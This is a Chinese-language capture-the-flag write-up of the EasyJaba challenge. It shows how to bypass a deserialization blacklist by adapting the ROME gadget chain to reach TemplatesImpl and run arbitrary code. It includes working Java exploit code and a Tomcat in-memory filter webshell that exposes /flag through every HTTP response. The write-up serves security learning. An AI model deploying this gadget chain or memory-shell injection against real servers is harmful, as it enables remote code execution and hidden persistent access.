【技術分享】從一道題看java反序列化和回顯獲取

前言
EasyJaba 這個題目是隴原戰”疫”2021網絡安全大賽的一道題,最近正好在學習java反序列化和內存馬的相關知識,通過這個題目可以很好的進行實踐。
反序列化
題目給了jar包,直接用jd-gui反編譯看看

Base64decode直接給了readObject,很明顯有反序列化的考點了,不過這里還有個神秘的object1和BlacklistObjectInputStream,應該是給的一些障礙
簡單看了一下應用沒看到實現了Serailizable接口的類,看下lib,發現了rome

應該就是從經典的ROME 1.0 任意代碼執行反序列化鏈子入手了
直接用idea反編譯,這次代碼清楚多了
簡單分析下就是給ObjectInputStream加了倆黑名單
java.util.HashMapjavax.management.BadAttributeValueExpException
再看ROME的反序列化鏈條
TemplatesImpl.getOutputProperties()NativeMethodAccessorImpl.invoke0(Method, Object, Object[])NativeMethodAccessorImpl.invoke(Object, Object[])DelegatingMethodAccessorImpl.invoke(Object, Object[])Method.invoke(Object, Object...)ToStringBean.toString(String)ToStringBean.toString()ObjectBean.toString()EqualsBean.beanHashCode()ObjectBean.hashCode()HashMap<K,V>.hash(Object)HashMap<K,V>.readObject(ObjectInputStream)
入口點就是從HashMap開始的,顯然不能直接使用了

但是注意到代碼直接給了toString

所以我們只需要把鏈子稍微改下就能用了,新的鏈子
TemplatesImpl.getOutputProperties()NativeMethodAccessorImpl.invoke0(Method, Object, Object[])NativeMethodAccessorImpl.invoke(Object, Object[])DelegatingMethodAccessorImpl.invoke(Object, Object[])Method.invoke(Object, Object...)ToStringBean.toString(String)ToStringBean.toString()
其實主要是利用了ROME的ToStringBean觸發可控.invoke(可控,NO_PARAMS)然后利用TemplatesImpl這個類來實現任意代碼執行
如何利用可控.invoke(可控,NO_PARAMS)實現任意代碼執行
這其實是很多java反序列化導致任意代碼執行的最后一環
這里我們利用的是TemplatesImpl.getOutputProperties()
簡單寫個Poc下斷點跟下流程
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import javassist.ClassPool;import javassist.CtClass;import java.util.Properties;public class Poc { public static class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{ static { //shell code here
System.out.println("Hello Java");
} @Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
} @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
} public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName()); byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
Class templatesimpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Class[] types = {byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class};
Constructor constructor = templatesimpl.getDeclaredConstructor(types);
constructor.setAccessible(true);
TransformerFactoryImpl tf = new TransformerFactoryImpl();
Properties p = new Properties();
Object[] params = {bytecodes,"whatever",p,1,tf};
Object object = constructor.newInstance(params);
Method method = templatesimpl.getMethod("getOutputProperties");
method.invoke(object,null);
}
}
首先進入

因為我們之前反射調用templatesImple的構造函數構造了一個對象
Object[] params = {bytecodes,"whatever",p,1,tf};
Object object = constructor.newInstance(params);
此時該templatesImpl的_bytecodes就是我們注入的惡意類字節碼

下一步跳轉到newTransformer

然后跳轉到getTransletInstance

因為我們的templatesImple _class屬性為null,會進入defineTransletClasses();

這個方法大致意思就是將我們的字節碼,通過Classloader defineClass轉成Class并存儲在templatesImple的_class屬性中
此處還會對class的父類進行檢查如果是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,則將_transletIndex指向該位置

回到getTransletInstance,可以發現此時會實力話我們注入的惡意類,同時會強制類型轉換成AbstractTranslet類型,這兩處也是為什么我們需要將我們的惡意類繼承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,不然無法觸發此處構造函數

然后就能執行我們惡意類Evil里static代碼塊了。
言歸正傳,對于本題我們構造如下exp,這里也可以通過javassist手動加上父類
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(E.class.getName());
clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templatesimpl = new TemplatesImpl();
Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templatesimpl, bytecodes);
Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templatesimpl, "test");
Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
fieldTfactory.setAccessible(true);
fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
ObjectBean objectBean = new ObjectBean(Templates.class, templatesimpl);
其中E為我們構造的惡意類用來執行代碼比如
public static class E{ static { try {
java.lang.Runtime.getRuntime().exec("calc.exe");
}catch (Throwable t){}
}
}
將生成的payload打過去以后可以發現彈出了計算器

獲得回顯
在可以命令執行后嘗試了各種方法,但是發現拿不到命令執行的結果,后來發現有題目提示不出網…
不出網意味著類似反彈shell,curl,dnslog之類外帶回顯方式不可用了。加上并沒有給靜態文件的目錄,將回顯寫入靜態文件的方式也不好操作。這里利用內存馬的思想,動態注入一個filter來獲得回顯。但是還有一個坑點在于由于我們的data是在url里注入的,如果太長的話會爆Request too Large的錯誤。所以我們要盡量縮短生成的類字節碼大小。最終構造的惡意類如下。
public static class E{ static { try { //這里采取Litch1師傅文章的思路,通過WebappClassLoader拿到StandardContext
Class WebappClassLoaderBaseClz = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase");
Object webappClassLoaderBase = Thread.currentThread().getContextClassLoader();
Field WebappClassLoaderBaseResource = WebappClassLoaderBaseClz.getDeclaredField("resources");
WebappClassLoaderBaseResource.setAccessible(true);
Object resources = WebappClassLoaderBaseResource.get(webappClassLoaderBase);
Class WebResourceRoot = Class.forName("org.apache.catalina.WebResourceRoot");
Method getContext = WebResourceRoot.getDeclaredMethod("getContext", null); //拿到StandardContext后就可以通過addFilterMap方法注入filter型內存馬了
StandardContext standardContext = (StandardContext) getContext.invoke(resources, null);
Filter filter = (servletRequest, servletResponse, filterChain) -> {
FileInputStream fis = new FileInputStream("/flag"); byte[] buffer = new byte[16];
StringBuilder res = new StringBuilder(); while (fis.read(buffer) != -1) {
res.append(new String(buffer));
buffer = new byte[16];
}
fis.close();
servletResponse.getWriter().write(res.toString());
servletResponse.getWriter().flush();
};
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("A");
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("A");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);
standardContext.filterStart(); //本地測試時取消下面這行可以幫助觀察是否注入成功
//System.out.println("injected");
}catch (Throwable t){ //t.printStackTrace();
}
}
}
然后實際測試的時候發現自己帶命令執行的生成的字節碼都太長了,于是索性只讀取”/flag”試試。
第一次訪問

第二次訪問,成功拿到flag
